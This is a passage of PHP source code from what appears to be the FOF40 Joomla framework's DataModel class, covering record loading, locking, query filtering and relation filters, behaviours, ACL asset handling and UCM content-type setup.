$this->getDbo(); $query = $db->getQuery(true) ->select($db->qn('master') . '.' . $db->qn($pkField)) ->from($db->qn($this->tableName) . ' AS ' . $db->qn('master')); $tableNo = 0; foreach ($joins as $table) { // Sanity check on passed array $check = ['idfield', 'idalias', 'name', 'joinfield', 'label']; $result = array_intersect($check, array_keys($table)); if (count($result) != count($check)) { throw new \InvalidArgumentException('Join array missing some keys, please check the documentation'); } $tableNo++; $query->select( [ 'COUNT(DISTINCT ' . $db->qn('t' . $tableNo) . '.' . $db->qn($table['idfield']) . ') AS ' . $db->qn($table['idalias']), ] ); $query->join('LEFT', $db->qn($table['name']) . ' AS ' . $db->qn('t' . $tableNo) . ' ON ' . $db->qn('t' . $tableNo) . '.' . $db->qn($table['joinfield']) . ' = ' . $db->qn('master') . '.' . $db->qn($pkField) ); } $query->where($db->qn('master') . '.' . $db->qn($pkField) . ' = ' . $db->q($this->$pkField)); $query->group($db->qn('master') . '.' . $db->qn($pkField)); $this->getDbo()->setQuery((string) $query); $obj = $this->getDbo()->loadObject(); $msg = []; $i = 0; foreach ($joins as $table) { $pkField = $table['idalias']; if ($obj->$pkField > 0) { $msg[] = Text::_($table['label']); } $i++; } if (count($msg) > 0) { $option = $this->container->componentName; $comName = $this->container->bareComponentName; $tbl = $this->getTableName(); $tview = str_replace('#__' . $comName . '_', '', $tbl); $prefix = $option . '_' . $tview . '_NODELETE_'; $message = '<ul>'; foreach ($msg as $key) { $message .= '<li>' . Text::_(strtoupper($prefix . $key)) . '</li>'; } $message .= '</ul>'; throw new \RuntimeException($message); } } } /** * Find and load a single record based on the provided key values. If the record is not found an exception is thrown * * @param array|mixed $keys An optional primary key value to load the row by, or an array of fields to match. * If not set the "id" state variable or, if empty, the identity column's value is used * * @return static Self, for chaining * * @throws \RuntimeException When the row is not found */ public function findOrFail($keys = null) { $this->find($keys); // We have to assign the value, since empty() is not triggering the __get magic method // http://stackoverflow.com/questions/2045791/php-empty-on-get-accessor $value = $this->getId(); if (empty($value)) { throw new RecordNotLoaded; } return $this; } /** * Method to load a row from the database by primary key. Used for TableInterface compatibility. * * @param mixed $keys An optional primary key value to load the row by, or an array of fields to match. If * not set the instance property value is used. * @param boolean $reset True to reset the default values before loading the new row. * * @return boolean True if successful. False if row not found. * * @throws \RuntimeException * @throws \UnexpectedValueException * @link http://docs.joomla.org/JTable/load * @since 3.2 */ public function load($keys = null, $reset = true) { if ($reset) { $this->reset(); } try { $this->findOrFail($keys); } catch (\Exception $e) { return false; } return true; } /** * Find and load a single record based on the provided key values * * @param array|mixed $keys An optional primary key value to load the row by, or an array of fields to match. * If not set the "id" state variable or, if empty, the identity column's value is used * * @return static Self, for chaining */ public function find($keys = null) { // Execute the onBeforeLoad event $this->triggerEvent('onBeforeLoad', [&$keys]); // If we are not given any keys, try to get the ID from the state or the table data if (empty($keys)) { $id = $this->getState('id', 0); if (empty($id)) { $id = $this->getId(); } if (empty($id)) { $this->triggerEvent('onAfterLoad', [false, &$keys]); $this->reset(); return $this; } $keys = [$this->idFieldName => $id]; } elseif (!is_array($keys)) { if (empty($keys)) { $this->triggerEvent('onAfterLoad', [false, &$keys]); $this->reset(); return $this; } $keys = [$this->idFieldName => $keys]; } // Reset the table $this->reset(); // Get the query $db = $this->getDbo(); $query = $db->getQuery(true) ->select('*') ->from($db->qn($this->tableName)); // Apply key filters foreach ($keys as $filterKey => $filterValue) { if ($filterKey == 'id') { $filterKey = $this->getIdFieldName(); } if (array_key_exists($filterKey, $this->recordData)) { $query->where($db->qn($filterKey) . ' = ' . $db->q($filterValue)); } } // Get the row $db->setQuery($query); try { $row = $db->loadAssoc(); } catch (\Exception $e) { $row = null; } if (empty($row)) { $this->triggerEvent('onAfterLoad', [false, &$keys]); return $this; } // Bind the data $this->bind($row); $this->relationManager->rebase($this); // Execute the onAfterLoad event $this->triggerEvent('onAfterLoad', [true, &$keys]); return $this; } /** * Create a new record with the provided data * * @param array $data The data to use in the new record * * @return static Self, for chaining */ public function create($data) { return $this->reset()->bind($data)->save(); } /** * Return the first item found or create a new one based on the provided $data * * @param array $data Data for the newly created item * * @return static */ public function firstOrCreate($data) { $item = $this->get(true, 0, 1)->first(); if (is_null($item)) { $item = clone $this; $item->create($data); } return $item; } /** * Return the first item found or throw a \RuntimeException * * @return static * * @throws \RuntimeException */ public function firstOrFail() { $item = $this->get(true, 0, 1)->first(); if (is_null($item)) { throw new NoItemsFound(get_class($this)); } return $item; } /** * Return the first item found or create a new, blank one * * @return static */ public function firstOrNew() { $item = $this->get(true, 0, 1)->first(); if (is_null($item)) { $item = clone $this; $item->reset(); } return $item; } /** * Adds a behaviour by its name. It will search the following classes, in this order: * \component_namespace\Model\modelName\Behaviour\behaviourName * \component_namespace\Model\Behaviour\behaviourName * \FOF40\Model\DataModel\Behaviour\behaviourName * where: * component_namespace is the namespace of the component as defined in the container * modelName is the model's name, first character uppercase, e.g. Baz * behaviourName is the $behaviour parameter, first character uppercase, e.g. Something * * @param string $behaviour The behaviour's name * * @return $this Self, for chaining */ public function addBehaviour($behaviour) { $prefixes = [ $this->container->getNamespacePrefix() . 'Model\\Behaviour\\' . ucfirst($this->getName()), $this->container->getNamespacePrefix() . 'Model\\Behaviour', '\\FOF40\\Model\\DataModel\\Behaviour', ]; foreach ($prefixes as $prefix) { $className = $prefix . '\\' . ucfirst($behaviour); if (class_exists($className, true) && !$this->behavioursDispatcher->hasObserverClass($className)) { /** @var Observer $o */ $observer = new $className($this->behavioursDispatcher); $this->behavioursDispatcher->attach($observer); return $this; } } return $this; } /** * Removes a behaviour by its name. It will search the following classes, in this order: * \component_namespace\Model\modelName\Behaviour\behaviourName * \component_namespace\Model\DataModel\Behaviour\behaviourName * \FOF40\Model\DataModel\Behaviour\behaviourName * where: * component_namespace is the namespace of the component as defined in the container * modelName is the model's name, first character uppercase, e.g. Baz * behaviourName is the $behaviour parameter, first character uppercase, e.g. Something * * @param string $behaviour The behaviour's name * * @return $this Self, for chaining */ public function removeBehaviour($behaviour) { $prefixes = [ $this->container->getNamespacePrefix() . 'Model\\Behaviour\\' . ucfirst($this->getName()), $this->container->getNamespacePrefix() . 'Model\\Behaviour', '\\FOF40\\Model\\DataModel\\Behaviour', ]; foreach ($prefixes as $prefix) { $className = ltrim($prefix . '\\' . ucfirst($behaviour), '\\'); $observer = $this->behavioursDispatcher->getObserverByClass($className); if (is_null($observer)) { continue; } $this->behavioursDispatcher->detach($observer); return $this; } return $this; } /** * Gives you access to the behaviours dispatcher, allowing to attach/detach behaviour observers * * @return Dispatcher */ public function &getBehavioursDispatcher() { return $this->behavioursDispatcher; } /** * Set the field and direction of ordering for the query returned by buildQuery. * Alias of $this->setState('filter_order', $fieldName) and $this->setState('filter_order_Dir', $direction) * * @param string $fieldName The field name to order by * @param string $direction The direction to order by (ASC for ascending or DESC for descending) * * @return $this For chaining */ public function orderBy($fieldName, $direction = 'ASC') { $direction = strtoupper($direction); if (!in_array($direction, ['ASC', 'DESC'])) { $direction = 'ASC'; } $this->setState('filter_order', $fieldName); $this->setState('filter_order_Dir', $direction); return $this; } /** * Set the limitStart for the query, i.e. how many records to skip. * Alias of $this->setState('limitstart', $limitStart); * * @param integer $limitStart Records to skip from the start * * @return $this For chaining */ public function skip($limitStart = null) { // Only positive integers are allowed if (!is_int($limitStart) || $limitStart < 0 || !$limitStart) { $limitStart = 0; } $this->setState('limitstart', $limitStart); return $this; } /** * Set the limit for the query, i.e. how many records to return. * Alias of $this->setState('limit', $limit); * * @param integer $limit Maximum number of records to return * * @return $this For chaining */ public function take($limit = null) { // Only positive integers are allowed if (!is_int($limit) || $limit < 0 || !$limit) { $limit = 0; } $this->setState('limit', $limit); return $this; } /** * Return the record's data as an array * * @return array */ public function toArray() { return $this->recordData; } /** * Returns the record's data as a JSON string * * @param boolean $prettyPrint Should I format the JSON for pretty printing * * @return string */ public function toJson($prettyPrint = false) { if (defined('JSON_PRETTY_PRINT')) { $options = $prettyPrint ? JSON_PRETTY_PRINT : 0; } else { $options = 0; } return json_encode($this->recordData, $options); } /** * Touch a record, updating its modified_on and/or modified_by columns * * @param integer $userId Optional user ID of the user touching the record * * @return $this Self, for chaining */ public function touch($userId = null) { if (!$this->getId()) { throw new RecordNotLoaded("Can't touch a not loaded DataModel"); } if (!$this->hasField('modified_on') && !$this->hasField('modified_by')) { return $this; } $db = $this->getDbo(); $date = new Date(); // Update the created_on / modified_on if ($this->hasField('modified_on')) { $modified_on = $this->getFieldAlias('modified_on'); $this->$modified_on = $date->toSql(false, $db); } // Update the created_by / modified_by values if necessary if ($this->hasField('modified_by')) { if (empty($userId)) { $userId = $this->container->platform->getUser()->id; } $modified_by = $this->getFieldAlias('modified_by'); $this->$modified_by = $userId; } $this->save(); return $this; } /** * Lock a record by setting its locked_on and/or locked_by columns * * @param integer $userId * * @return $this Self, for chaining */ public function lock($userId = null) { if (!$this->getId()) { throw new CannotLockNotLoadedRecord; } if (!$this->hasField('locked_on') && !$this->hasField('locked_by')) { return $this; } $this->triggerEvent('onBeforeLock'); $db = $this->getDbo(); if ($this->hasField('locked_on')) { $date = new Date(); $locked_on = $this->getFieldAlias('locked_on'); $this->$locked_on = $date->toSql(false, $db); } if ($this->hasField('locked_by')) { if (empty($userId)) { $userId = $this->container->platform->getUser()->id; } $locked_by = $this->getFieldAlias('locked_by'); $this->$locked_by = $userId; } $this->save(); $this->triggerEvent('onAfterLock'); return $this; } /** * Unlock a record by resetting its locked_on and/or locked_by columns * * @return $this Self, for chaining */ public function unlock() { if (!$this->getId()) { throw new RecordNotLoaded("Can't unlock a not loaded DataModel"); } if (!$this->hasField('locked_on') && !$this->hasField('locked_by')) { return $this; } $this->triggerEvent('onBeforeUnlock'); $db = $this->getDbo(); if ($this->hasField('locked_on')) { $locked_on = $this->getFieldAlias('locked_on'); $this->$locked_on = $this->isNullableField('locked_on') ? null : $db->getNullDate(); } if ($this->hasField('locked_by')) { $locked_by = $this->getFieldAlias('locked_by'); $this->$locked_by = 0; } $this->save(); $this->triggerEvent('onAfterUnlock'); return $this; } /** * Is this record locked by a different user than $userId? * * @param integer $userId * * @return bool True if the record is locked */ public function isLocked($userId = null) { if (!$this->hasField('locked_on') && !$this->hasField('locked_by')) { return false; } $nullDate = $this->isNullableField('locked_on') ? null : $this->getDbo()->getNullDate(); // Get the locked_by / locked_on $locked_on = $nullDate; $locked_by = 0; if ($this->hasField('locked_on')) { $locked_on = $this->getFieldValue('locked_on', $nullDate); if (empty($locked_on)) { $locked_on = $nullDate; } } if ($this->hasField('locked_by')) { $locked_by = $this->getFieldValue('locked_by', 0); if (empty($locked_by)) { $locked_by = 0; } } $allowedUsers = [0]; if (!empty($userId)) { $allowedUsers[] = $userId; } if (in_array($locked_by, $allowedUsers)) { return false; } return !is_null($locked_on) && ($locked_on !== $nullDate); } /** * Automatically uses the Filters behaviour to filter records in the model based on your criteria. * * @param string $fieldName The field name to filter on * @param string $method The filtering method, e.g. <>, =, != and so on * @param mixed $values The value you're filtering on. Some filters (e.g. interval or between) require an * array of values * * @return $this For chaining */ public function where($fieldName, $method = '=', $values = null) { // Make sure the Filters behaviour is added to the model if (!$this->behavioursDispatcher->hasObserverClass('FOF40\\Model\\DataModel\\Behaviour\\Filters')) { $this->addBehaviour('filters'); } // If we are dealing with the primary key, let's set the field name to "id". This is a convention and it will // be used inside the Filters behaviour // -- Let's not do this. The Filters behaviour works just fine with the regular field name! /** * if ($fieldName == $this->getIdFieldName()) * { * $fieldName = 'id'; * } **/ $options = [ 'method' => $method, 'value' => $values, ]; // Handle method aliases switch ($method) { case '<>': $options['method'] = 'search'; $options['operator'] = '!='; break; case 'lt': $options['method'] = 'search'; $options['operator'] = '<'; break; case 'le': $options['method'] = 'search'; $options['operator'] = '<='; break; case 'gt': $options['method'] = 'search'; $options['operator'] = '>'; break; case 'ge': $options['method'] = 'search'; $options['operator'] = '>='; break; case 'eq': $options['method'] = 'search'; $options['operator'] = '='; break; case 'neq': case 'ne': $options['method'] = 'search'; $options['operator'] = '!='; break; case '<': case '!<': case '<=': case '!<=': case '>': case '!>': case '>=': case '!>=': case '!=': case '=': $options['method'] = 'search'; $options['operator'] = $method; break; case 'like': case '~': case '%': $options['method'] = 'partial'; break; case '==': case '=[]': case '=()': case 'in': $options['method'] = 'exact'; break; case '()': case '[]': case '[)': case '(]': $options['method'] = 'between'; break; case ')(': case ')[': case '](': case '][': $options['method'] = 'outside'; break; case '*=': case 'every': $options['method'] = 'interval'; break; case '?=': $options['method'] = 'search'; break; default: throw new InvalidSearchMethod('Method ' . $method . ' is unsupported'); } // Handle real methods switch ($options['method']) { case 'between': case 'outside': if (is_array($values) && (count($values) > 1)) { // Get the from and to values from the $values array if (isset($values['from']) && isset($values['to'])) { $options['from'] = $values['from']; $options['to'] = $values['to']; } else { $options['from'] = array_shift($values); $options['to'] = array_shift($values); } unset($options['value']); } else { // $values is not a from/to array. Treat as = (between) or != (outside) if (is_array($values)) { $values = array_shift($values); } $options['operator'] = ($options['method'] == 'between') ? '=' : '!='; $options['value'] = $values; $options['method'] = 'search'; } break; case 'interval': if (is_array($values) && (count($values) > 1)) { // Get the value and interval from the $values array if (isset($values['value']) && isset($values['interval'])) { $options['value'] = $values['value']; $options['interval'] = $values['interval']; } else { $options['value'] = array_shift($values); $options['interval'] = array_shift($values); } } else { // $values is not a value/interval array. Treat as = if (is_array($values)) { $values = array_shift($values); } $options['value'] = $values; $options['method'] = 'search'; $options['operator'] = '='; } break; case 'search': // We don't have to do anything if the operator is already set if (isset($options['operator'])) { break; } if (is_array($values) && (count($values) > 1)) { // Get the operator and value from the $values array if (isset($values['operator']) && isset($values['value'])) { $options['operator'] = $values['operator']; $options['value'] = $values['value']; } else { $options['operator'] = array_shift($values); $options['value'] = array_shift($values); } } break; } $this->setState($fieldName, $options); return $this; } /** * Add custom, pre-compiled WHERE clauses for use in buildQuery. The raw WHERE clause you specify is added as is to * the query generated by buildQuery. You are responsible for quoting and escaping the field names and data found * inside the WHERE clause. * * Using this method is a generally bad idea. You are better off overriding buildQuery and using state variables to * customise the query build built instead of using this method to push raw SQL to the query builder. Mixing your * business logic with raw SQL makes your application harder to maintain and refactor as dependencies to your * database schema creep in areas of your code that should have nothing to do with it. * * @param string $rawWhereClause The raw WHERE clause to add * * @return $this For chaining */ public function whereRaw($rawWhereClause) { $this->whereClauses[] = $rawWhereClause; return $this; } /** * Instructs the model to eager load the specified relations. The $relations array can have the format: * * array('relation1', 'relation2') * Eager load relation1 and relation2 without any callbacks * array('relation1' => $callable1, 'relation2' => $callable2) * Eager load relation1 with callback $callable1 etc * array('relation1', 'relation2' => $callable2) * Eager load relation1 without a callback, relation2 with callback $callable2 * * The callback must have the signature function(\JDatabaseQuery $query) and doesn't return a value. It is * supposed to modify the query directly. * * Please note that eager loaded relations produce their queries without going through the respective model. Instead * they generate a SQL query directly, then map the loaded results into a DataCollection. * * @param array $relations The relations to eager load. See above for more information. * * @return $this For chaining */ public function with(array $relations) { if (empty($relations)) { $this->eagerRelations = []; return $this; } $knownRelations = $this->relationManager->getRelationNames(); foreach ($relations as $k => $v) { if (is_callable($v)) { $relName = $k; $callback = $v; } else { $relName = $v; $callback = null; } if (in_array($relName, $knownRelations)) { $this->eagerRelations[$relName] = $callback; } } return $this; } /** * Filter the model based on the fulfilment of relations. For example: * $posts->has('comments', '>=', 10)->get(); * will return all posts with at least 10 comments. * * @param string $relation The relation to query * @param string $operator The comparison operator. Same operators as the where() method. * @param mixed $value The value(s) to compare against. * @param bool $replace When true (default) any existing relation filters for the same relation will be * replaced * * @return $this */ public function has($relation, $operator = '>=', $value = 1, $replace = true) { // Make sure the Filters behaviour is added to the model if (!$this->behavioursDispatcher->hasObserverClass('FOF40\\Model\\DataModel\\Behaviour\\RelationFilters')) { $this->addBehaviour('relationFilters'); } $filter = [ 'relation' => $relation, 'method' => $operator, 'operator' => $operator, 'value' => $value, ]; // Handle method aliases switch ($operator) { case '<>': $filter['method'] = 'search'; $filter['operator'] = '!='; break; case 'lt': $filter['method'] = 'search'; $filter['operator'] = '<'; break; case 'le': $filter['method'] = 'search'; $filter['operator'] = '<='; break; case 'gt': $filter['method'] = 'search'; $filter['operator'] = '>'; break; case 'ge': $filter['method'] = 'search'; $filter['operator'] = '>='; break; case 'eq': $filter['method'] = 'search'; $filter['operator'] = '='; break; case 'neq': case 'ne': $filter['method'] = 'search'; $filter['operator'] = '!='; break; case '<': case '!<': case '<=': case '!<=': case '>': case '!>': case '>=': case '!>=': case '!=': case '=': $filter['method'] = 'search'; $filter['operator'] = $operator; break; case 'like': case '~': case '%': $filter['method'] = 'partial'; break; case '==': case '=[]': case '=()': case 'in': $filter['method'] = 'exact'; break; case '()': case '[]': case '[)': case '(]': $filter['method'] = 'between'; break; case ')(': case ')[': case '](': case '][': $filter['method'] = 'outside'; break; case '*=': case 'every': $filter['method'] = 'interval'; break; case '?=': $filter['method'] = 'search'; break; case 'callback': $filter['method'] = 'callback'; $filter['operator'] = 'callback'; break; default: throw new InvalidSearchMethod('Operator ' . $operator . ' is unsupported'); } // Handle real methods switch ($filter['method']) { case 'between': case 'outside': if (is_array($value) && (count($value) > 1)) { // Get the from and to values from the $value array if (isset($value['from']) && isset($value['to'])) { $filter['from'] = $value['from']; $filter['to'] = $value['to']; } else { $filter['from'] = array_shift($value); $filter['to'] = array_shift($value); } unset($filter['value']); } else { // $value is not a from/to array. Treat as = (between) or != (outside) if (is_array($value)) { $value = array_shift($value); } $filter['operator'] = ($filter['method'] == 'between') ? '=' : '!='; $filter['value'] = $value; $filter['method'] = 'search'; } break; case 'interval': if (is_array($value) && (count($value) > 1)) { // Get the value and interval from the $value array if (isset($value['value']) && isset($value['interval'])) { $filter['value'] = $value['value']; $filter['interval'] = $value['interval']; } else { $filter['value'] = array_shift($value); $filter['interval'] = array_shift($value); } } else { // $value is not a value/interval array. Treat as = if (is_array($value)) { $value = array_shift($value); } $filter['value'] = $value; $filter['method'] = 'search'; $filter['operator'] = '='; } break; case 'search': // We don't have to do anything if the operator is already set if (isset($filter['operator'])) { break; } if ((is_array($value) || $value instanceof \Countable ? count($value) : 0) > 1) { // Get the operator and value from the $value array if (isset($value['operator']) && isset($value['value'])) { $filter['operator'] = $value['operator']; $filter['value'] = $value['value']; } else { $filter['operator'] = array_shift($value); $filter['value'] = array_shift($value); } } break; case 'callback': if (!is_callable($filter['value'])) { $filter['method'] = 'search'; $filter['operator'] = '='; $filter['value'] = 1; } break; } if ($replace && !empty($this->relationFilters)) { foreach ($this->relationFilters as $k => $v) { if ($v['relation'] == $relation) { unset ($this->relationFilters[$k]); } } } $this->relationFilters[] = $filter; return $this; } /** * Advanced model filtering on the fulfilment of relations. Unlike has() you can provide your own callback which * modifies the COUNT subquery used to compare against the relation. The $callBack has the signature * function(\JDatabaseQuery $query) * and MUST return a string. The $query you are passed is the COUNT subquery of the relation, e.g. * SELECT COUNT(*) FROM #__comments AS reltbl WHERE reltbl.user_id = user_id * You have to return a WHERE clause for the model's query, e.g. * (SELECT COUNT(*) FROM #__comments AS reltbl WHERE reltbl.user_id = user_id) BETWEEN 1 AND 20 * * @param string $relation The relation to query against * @param callable $callBack The callback to use for filtering * @param bool $replace When true (default) any existing relation filters for the same relation will be * replaced * * @return $this */ public function whereHas($relation, $callBack, $replace = true) { $this->has($relation, 'callback', $callBack, $replace); return $this; } /** * Returns the relations manager of the model * * @return RelationManager */ public function &getRelations() { return $this->relationManager; } /** * Gets the relation filter definitions, for use by the RelationFilters behaviour * * @return array */ public function getRelationFilters() { return $this->relationFilters; } /** * Returns the list of relations which are touched by save() and touch() * * @return array */ public function &getTouches() { return $this->touches; } /** * Method to get the rules for the record. * * @return Rules object */ public function getRules() { return $this->rules; } /** * Method to set rules for the record. * * @param mixed $input A Rules object, JSON string, or array. * * @return void */ public function setRules($input) { $this->rules = $input instanceof Rules ? $input : new Rules($input); } /** * Method to check if the record is treated as an ACL asset * * @return boolean [description] */ public function isAssetsTracked() { return $this->trackAssets; } /** * Method to manually set this record as ACL asset or not. * We have to do this since the automatic check is made in the constructor, but here we can't set any alias. * So, even if you have an alias for `asset_id`, it wouldn't be recognized and assets won't be tracked. * * @param $state */ public function setAssetsTracked($state) { $state = (bool) $state; $this->trackAssets = $state; } /** * Gets the has tags switch state * * @return bool */ public function hasTags() { return $this->has_tags; } /** * Sets the has tags switch state * * @param bool $newState */ public function setHasTags($newState = false) { $this->has_tags = $newState; } /** * Method to compute the default name of the asset. * The default name is in the form table_name.id * where id is the value of the primary key of the table. * * @return string * @throws NoAssetKey * */ public function getAssetName() { $k = $this->getKeyName(); // If there is no assetKey defined, stop here, or we'll get a wrong name if (!$this->assetKey || !$this->$k) { throw new NoAssetKey; } return $this->assetKey . '.' . (int) $this->$k; } /** * Method to compute the default name of the asset. * The default name is in the form table_name.id * where id is the value of the primary key of the table. * * @return string */ public function getAssetKey() { return $this->assetKey; } /** * This method sets the asset key for the items of this table. Obviously, it * is only meant to be used when you have a table with an asset field. * * @param string $assetKey The name of the asset key to use * * @return void */ public function setAssetKey($assetKey) { $this->assetKey = $assetKey; } /** * Method to return the title to use for the asset table. In * tracking the assets a title is kept for each asset so that there is some * context available in a unified access manager. Usually this would just * return $this->title or $this->name or whatever is being used for the * primary name of the row. If this method is not overridden, the asset name is used. * * @return string The string to use as the title in the asset table. * * @codeCoverageIgnore */ public function getAssetTitle() { return $this->getAssetName(); } /** * Method to get the parent asset under which to register this one. * By default, all assets are registered to the ROOT node with ID, * which will default to 1 if none exists. * The extended class can define a table and id to lookup. If the * asset does not exist it will be created. * * @param DataModel $model A model object for the asset parent. * @param integer $id Id to look up * * @return integer */ public function getAssetParentId($model = null, $id = null) { // For simple cases, parent to the asset root. $assets = new Asset($this->getDbo()); $rootId = $assets->getRootId(); if (!empty($rootId)) { return $rootId; } return 1; } /** * Method to load a row for editing from the version history table. * * @param integer $version_id Key to the version history table. * @param string $alias The type_alias in #__content_types * * @return boolean True on success * * @throws RecordNotLoaded * @throws BaseException * @since 2.3 * */ public function loadhistory($version_id, $alias) { // Only attempt to check the row in if it exists. if (empty($version_id)) { throw new RecordNotLoaded; } // Get an instance of the row to checkout. $historyTable = new ContentHistory(Factory::getDbo()); if (!$historyTable->load($version_id)) { throw new BaseException($historyTable->getError()); } $rowArray = ArrayHelper::fromObject(json_decode($historyTable->version_data)); $contentTypeTable = new ContentType(Factory::getDbo()); $typeId = $contentTypeTable->getTypeId($alias); if ($historyTable->ucm_type_id != $typeId) { $key = $this->getKeyName(); if (isset($rowArray[$key])) { $this->{$this->idFieldName} = $rowArray[$key]; $this->unlock(); } throw new BaseException(Text::_('JLIB_APPLICATION_ERROR_HISTORY_ID_MISMATCH')); } $this->setState('save_date', $historyTable->save_date); $this->setState('version_note', $historyTable->version_note); $this->bind($rowArray); return true; } /** * Applies view access level filtering for the specified user. Useful to * filter a front-end items listing. * * @param integer $userID The user ID to use. Skip it to use the currently logged in user. * * @return DataModel Reference to self */ public function applyAccessFiltering($userID = null) { if (!$this->hasField('access')) { return $this; } $user = $this->container->platform->getUser($userID); $accessField = $this->getFieldAlias('access'); $this->setState($accessField, $user->getAuthorisedViewLevels()); return $this; } /** * Get the content type for ucm * * @return string The content type alias * * @throws NoContentType If you have not set the contentType configuration variable */ public function getContentType() { if (!empty($this->contentType)) { return $this->contentType; } throw new NoContentType(get_class($this)); } /** * Check if a UCM content type exists for this resource, and * create it if it does not * * @param string $alias The content type alias (optional) * * @return null */ public function checkContentType($alias = null) { $contentType = new ContentType($this->getDbo()); if (!$alias) { $alias = $this->getContentType(); } $aliasParts = explode('.', $alias); // Fetch the extension name $component = $aliasParts[0]; $component = ComponentHelper::getComponent($component); // Fetch the name using the menu item $query = $this->getDbo()->getQuery(true); $query->select('title')->from('#__menu')->where('component_id = ' . (int) $component->id); $this->getDbo()->setQuery($query); $component_name = Text::_($this->getDbo()->loadResult()); $name = $component_name . ' ' . ucfirst($aliasParts[1]); // Create a new content type for our resource if (!$contentType->load(['type_alias' => $alias])) { $contentType->type_title = $name; $contentType->type_alias = $alias; $contentType->table = json_encode( [ 'special' => [ 'dbtable' => $this->getTableName(), 'key' => $this->getKeyName(), 'type' => $name, 'prefix' => $this->container->getNamespacePrefix() . '\\Model\\', 'class' => $this->getName(), 'config' => [], ], 'common' => [ 'dbtable' => '#__ucm_content', 'key' => 'ucm_id', 'type' => 'CoreContent', 'prefix' => 'JTable', 'config' => [], ], ] ); $contentType->field_mappings = json_encode( [ 'common' => [ 0 => [ "core_content_item_id" => $this->getKeyName(), "core_title" => $this->getUcmCoreAlias('title'), "core_state" => $this->getUcmCoreAlias('enabled'), "core_alias" => $this->getUcmCoreAlias('alias'), "core_created_time" => $this->getUcmCoreAlias('created_on'), "core_modified_time" => $this->getUcmCoreAlias('created_by'), "core_body" => $this->getUcmCoreAlias('body'), "core_hits" => $this->getUcmCoreAlias('hits'), "core_publish_up" => $this->getUcmCoreAlias('publish_up'), "core_publish_down" => $this->getUcmCoreAlias('publish_down'), "core_access" => $this->getUcmCoreAlias('access'), "core_params" => $this->getUcmCoreAlias('params'), "core_featured" => $this->getUcmCoreAlias('featured'), "core_metadata" => $this->getUcmCoreAlias('metadata'), "core_language" => $this->getUcmCoreAlias('language'), "core_images" => $this->getUcmCoreAlias('images'), "core_urls" => $this->getUcmCoreAlias('urls'), "core_version" => $this->getUcmCoreAlias('version'), "core_ordering" => $this->getUcmCoreAlias('ordering'), "core_metakey" => $this->getUcmCoreAlias('metakey'), "core_metadesc" => $this->getUcmCoreAlias('metadesc'), "core_catid" => $this->getUcmCoreAlias('cat_id'), "core_xreference" => $this->getUcmCoreAlias('xreference'), "asset_id" => $this->getUcmCoreAlias('asset_id'), ], ], 'special' => [ 0 => [ ], ], ] ); $ignoreFields = [ $this->getUcmCoreAlias('modified_on', null), $this->getUcmCoreAlias('modified_by', null), $this->getUcmCoreAlias('locked_by', null), $this->getUcmCoreAlias('locked_on', null), $this->getUcmCoreAlias('hits', null), $this->getUcmCoreAlias('version', null), ]; $contentType->content_history_options = json_encode( [ "ignoreChanges" => array_filter($ignoreFields, 'strlen'), ] ); $contentType->router = ''; $contentType->store(); } } /** * Set a behavior param * * @param string $name The name of the param you want to set * @param mixed $value The value to set * * @return $this Self, for chaining */ public function setBehaviorParam($name, $value) { $this->behaviorParams[$name] = $value; return $this; } /** * Get a behavior param * * @param string $name The name of the param you want to get * @param mixed $default The default value returned if not set * * @return mixed */ public function getBehaviorParam($name, $default = null) { return $this->behaviorParams[$name] ?? $default; } /** * Set or get the backlisted filters. * * Note: passing a null $list to get the filter blacklist is deprecated as of FOF 3.1. Pleas use getBlacklistFilters * instead. * * @param mixed $list A filter or list of filters to backlist. If null return the list of backlisted filter * @param boolean $reset Reset the blacklist if true * * @return null|array Return an array of value if $list is null */ public function blacklistFilters($list = null, $reset = false) { if (!isset($list)) { return $this->getBehaviorParam('blacklistFilters', []); } if (is_string($list)) { $list = (array) $list; } if (!$reset) { $list = array_unique(array_merge($this->getBehaviorParam('blacklistFilters', []), $list)); } $this->setBehaviorParam('blacklistFilters', $list); return null; } /** * Get the blacklisted filters. * * @return array */ public function getBlacklistFilters() { return $this->getBehaviorParam('blacklistFilters', []); } /** * This method is called by Joomla! itself when it needs to update the UCM content * * @return bool */ public function updateUcmContent() { // Process the tags $data = $this->getData(); $alias = $this->getContentType(); $ucmContentTable = new CoreContent(Factory::getDbo()); $ucm = new UCMContent($this, $alias); $ucmData = !empty($data) ? $ucm->mapData($data) : $ucm->ucmData; $primaryId = $ucm->getPrimaryKey($ucmData['common']['core_type_id'], $ucmData['common']['core_content_item_id']); $result = $ucmContentTable->load($primaryId); $result = $result && $ucmContentTable->bind($ucmData['common']); $result = $result && $ucmContentTable->check(); $result = $result && $ucmContentTable->store(); $ucmId = $ucmContentTable->core_content_id; return $result; } /** * Add a field to the list of fields to be ignored by the check() method * * @param string $fieldName The field to add (can be a field alias) * * @return void */ public function addSkipCheckField($fieldName) { if (!is_array($this->fieldsSkipChecks)) { $this->fieldsSkipChecks = []; } if (!$this->hasField($fieldName)) { return; } $fieldName = $this->getFieldAlias($fieldName); if (!in_array($fieldName, $this->fieldsSkipChecks)) { $this->fieldsSkipChecks[] = $fieldName; } } /** * Remove a field from the list of fields to be ignored by the check() method * * @param string $fieldName The field to remove (can be a field alias) * * @return void */ public function removeSkipCheckField($fieldName) { if (!is_array($this->fieldsSkipChecks)) { $this->fieldsSkipChecks = []; return; } if (!$this->hasField($fieldName)) { return; } $fieldName = $this->getFieldAlias($fieldName); if (in_array($fieldName, $this->fieldsSkipChecks)) { $index = array_search($fieldName, $this->fieldsSkipChecks); unset($this->fieldsSkipChecks[$index]); } } /** * Is a field present in the list of fields to be ignored by the check() method? * * @param string $fieldName The field to check (can be a field alias) * * @return bool True if the field is skipped from checks, false if not or if the field doesn't exist. */ public function hasSkipCheckField($fieldName) { if (!is_array($this->fieldsSkipChecks)) { $this->fieldsSkipChecks = []; return false; } if (!$this->hasField($fieldName)) { return false; } $fieldName = $this->getFieldAlias($fieldName); return in_array($fieldName, $this->fieldsSkipChecks); } /** * Loads the asset table related to this table. * This will help tests, too, since we can mock this function. * * @return bool|Asset False on failure, otherwise Asset */ protected function getAsset() { $name = $this->getAssetName(); // Do NOT touch Table here -- we are loading the core asset table which is a Joomla Table, not a FOF model $asset = new Asset(Factory::getDbo()); if ($asset->loadByName($name) === 0) { return false; } return $asset; } /** * Utility methods that fetches the column name for the field. * If it does not exists, returns a "null" string * * @param string $alias The alias for the column * @param string $null What to return if no column exists * * @return string The column name */ protected function getUcmCoreAlias($alias, $null = "null") { if (!$this->hasField($alias)) { return $null; } return $this->getFieldAlias($alias); } 